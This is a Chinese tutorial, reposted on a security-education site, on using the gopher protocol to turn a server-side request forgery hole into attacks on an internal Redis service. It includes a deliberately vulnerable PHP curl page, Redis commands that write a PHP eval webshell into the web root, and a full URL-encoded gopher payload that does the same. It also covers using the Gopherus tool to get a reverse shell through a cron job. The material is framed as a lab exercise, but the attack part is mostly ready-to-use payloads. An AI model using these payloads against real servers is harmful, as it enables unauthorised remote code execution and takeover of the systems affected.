安基网 首页 安全 攻防案例 查看内容

用Gopher协议扩展SSRF攻击手法

2019-11-16 11:18| 投稿: xiaotiger |来自: 互联网


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: 大家好,我是掌控安全学院的聂风,SSRF(服务器端请求伪造)漏洞是一种由攻击者构造形成由服务端发起请求的一个安全漏洞,话不多说,看文章。0×01 环境搭建Centos 靶机Kali攻击机Lnmp RedisGopherus.py 目标站点源码0x02 正 ...

零基础黑客教程,黑客圈新闻,安全面试经验

关注公众号:掌控安全EDU

0×00 前言

大家好,我是掌控安全学院的聂风,SSRF(服务器端请求伪造)漏洞是一种由攻击者构造形成由服务端发起请求的一个安全漏洞,话不多说,看文章。

0×01 环境搭建

Centos 靶机

Kali攻击机

Lnmp [文中会介绍安装]

Redis[文中会介绍安装]

Gopherus.py [https://github.com/tarunkant/Gopherus]


目标站点源码

$ch = curl_init(); 
curl_setopt($ch,CURLOPT_URL,$aa);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_HEADER,0);
$output = curl_exec($ch);
echo $output;if($output === FALSE )
{echo "CURL Error:".curl_error($ch); }
curl_close($ch);?>

0x02 正文

我们先开始介绍下我们这篇文章的主角,gopher协议。

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。

随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。

那么Gopher协议需要如何构造?

其实这个协议和http协议很类似,只不过gopher协议没有默认端口,需要特殊指定,而且需要指定POST方法,回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码

我们来看看Gopher协议的基本协议格式

gopher://:/_后接TCP数据流

那么我们试试看Gopher协议最经典的攻击方式,很多服务默认都不会在公网开启,一般都是仅仅允许本地访问,例如Redis,Redis因为配置不当会造成未授权访问,攻击者可以读取敏感信息,写入文件(不知道的同学可以去补一下这块的知识)

因为gopher协议传参方式是TCP数据流,那么我们可以尝试使用tcpdump或者直接使用Wireshark进行捕捉TCP的传输。

我们现在攻击机上安装一个redis

【安装方法有很多,可以用wget安装,也可以用apt-get安装】

【可以参考https://www.cnblogs.com/langtianya/p/5187681.html】

我因为是Kali直接apt-get搞定的,安装成功后会出现这个开心页面的页面

然后我们再开一个窗口,输入redis-cli [进入redis的终端],然后输出ping 如果返回PONG 那么就是成功了。

然后我们再进行一些Redis未授权访问的攻击,其中危害最大的莫过于是直接写入Webshell和利用计划任务执行命令反弹shell,这个命令一般Centos容易复现。我们打开我们的抓包工具。

我这里用Wireshark吧。我们先让他去抓lo这个网卡

然后去执行Redis的恶意语句。

config set dir /home/wwwroot/default/config set dbfilename "shell.php"set gaia ""saveexit

/home/wwwroot/default是网站的根目录,这个可以根据网页报错找到,也可以使用file:///协议去读取敏感文件去获取网站根目录。[如果第一条执行不了,可能是你的攻击机器没有这个目录,创建一下就行]

成功写入了webshell

然后我们执行完之后

打开Wireshark然后右键追踪流里面,有个TCP流,里面感觉有很多数据,不要害怕,记得去选中我们发送过去的数据【因为我们Redis有数据回显】

然后将获得的数据复制下来,并对其进行处理。

先进行一次URL编码,然后把每一个换行用%0d%0a代替转码出来的%0a,记得要把?替换为%3f,再将这个东西再加上gopher的前缀进行执行。

然后将每一个换行用%0d%0a代替转码出来的%0a,记得要把?替换为%3f 然后我们将这个东西再加上gopher的前缀进行执行。

gopher://127.0.0.1:6379/*1%0D%0A$7%0D%0ACOMMAND%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$22%0D%0A/home/wwwroot/default/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$4%0D%0Agaia%0D%0A$24%0D%0A%3C%3fphp%20eval($_POST%5Ba%5D);%3f%3E%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A

执行后,就会在根目录生成shell.php

好不容易拿了一个Webshell,这样子真的是异常的麻烦,于是乎有前辈写过一个脚本,gopherus.py,在github可以下载。[这个工具支持多种Gopher协议生成攻击代码]

(LINUX Redis计划任务反弹shell)

自动化脚本使用及安装过程:

我们选中redis模块[python gopherus.py --exploit redis]

然后很贴心的问我要webshell还是反弹shell,然后让我们写接受反弹shell的Ip

监听1234端口

成功获得反弹Shell,不需要各种抓包、转码多开心。

Gopherus.py还支持几种未授权访问的方法,总的来说还不错。可以都去试一试,很多非加密访问的未授权访问都可以尝试使用Gopher协议去尝试利用!

0×03 总结

Gopher协议可攻击的范围还有很多,后续会找机会再做更新。



小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6759387515397865987/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

 最新
返回顶部